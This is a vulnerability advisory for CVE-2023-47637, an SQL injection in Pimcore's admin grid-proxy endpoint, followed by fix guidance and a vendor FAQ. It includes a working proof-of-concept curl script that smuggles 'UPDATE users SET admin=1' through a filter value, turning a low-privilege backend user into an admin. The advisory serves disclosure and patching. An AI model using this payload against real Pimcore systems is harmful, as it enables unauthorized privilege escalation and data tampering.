CVE-2023-47637

User input passed directly into an SQL statement allows (non-admin) backend users to execute arbitrary SQL statements.

Details

The /admin/object/grid-proxy endpoint calls getFilterCondition() on fields of classes to be filtered for at https://github.com/pimcore/admin-ui-classic-bundle/blob/bba7c7419cb1f06d5fd98781eab4d6995e4e5dca/src/Helper/GridHelperService.php#L311, passing input from the request, and later executes the returned SQL.
One implementation of getFilterCondition() is in Multiselect, which does not normalize/escape/validate the passed value: https://github.com/pimcore/pimcore/blob/42b6cfa77c4540205bdd10689893ccb73e4bac8f/models/DataObject/ClassDefinition/Data/Multiselect.php#L285-L312

PoC

• Set up an example project as described on https://pimcore.com/docs/platform/Pimcore/Getting_Started/Installation/Docker_Based_Installation (demo package with example content)
• Enter the backend and add a new user without admin privileges, but the "Objects" permission enabled.
• Log out and back in with the new user. Grab the X-pimcore-csrf-token header from any request the backend does, as well as the PHPSESSID cookie.
• Run the following script, substituting the values accordingly:

  #!/bin/bash
  BASE_URL=http://localhost:8084 # REPLACE THIS!
  CSRF_TOKEN="bd89fd7ceb3b541dd63c200fd4fc8c8ea3cc1a05" # REPLACE THIS!
  COOKIE="PHPSESSID=a0f408f9af7657430a4e6a1608c80277" # REPLACE THIS!
  SQL="UPDATE users SET admin=1"
  
  FILTER_JSON="[{\"property\":\"tags\",\"operator\":\"=\",\"type\":\"list\",\"value\":[\"')); ${SQL}; --\"]}]"
  
  curl "${BASE_URL}/admin/object/grid-proxy?classId=EV&folderId=1119" \
      -X POST \
      -H "X-pimcore-csrf-token: ${CSRF_TOKEN}" \
      -H "Cookie: ${COOKIE}" \
      --data "filter=$FILTER_JSON"
  

• Refresh the backend, the user is admin now.

Notes
The above process also works with the initial admin user, but for demonstration purposes it is more interesting to use an unpriveleged one.
Other important variables to adjust in the above script for other deployments are the classId=EV&folderId=1119 parameters, which must reference an existing class and folder, as well as "property":"tags", which points to a Multiselect field in this class.

Workarounds

Update to version 11.1.1 or apply this patch manually.

Any backend user with very basic permissions can execute arbitrary SQL statements and thus alter any data or escalate their privileges to at least admin level.

Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access. Typical impact: data disclosure or modification.

CVE-2023-47637 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (11.1.1); upgrading removes the vulnerable code path.

Kodem intelligence

Apply patch manually.

1. What is CVE-2023-47637? CVE-2023-47637 is a high-severity SQL injection vulnerability in pimcore/pimcore (composer), affecting versions < 11.1.1. It is fixed in 11.1.1. Untrusted input alters a database query, allowing the attacker to read or modify data the query was not intended to access.
2. How severe is CVE-2023-47637? CVE-2023-47637 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of pimcore/pimcore are affected by CVE-2023-47637? pimcore/pimcore (composer) versions < 11.1.1 is affected.
4. Is there a fix for CVE-2023-47637? Yes. CVE-2023-47637 is fixed in 11.1.1. Upgrade to this version or later.
5. Is CVE-2023-47637 exploitable, and should I be worried? Whether CVE-2023-47637 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-47637 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-47637? Upgrade pimcore/pimcore to 11.1.1 or later.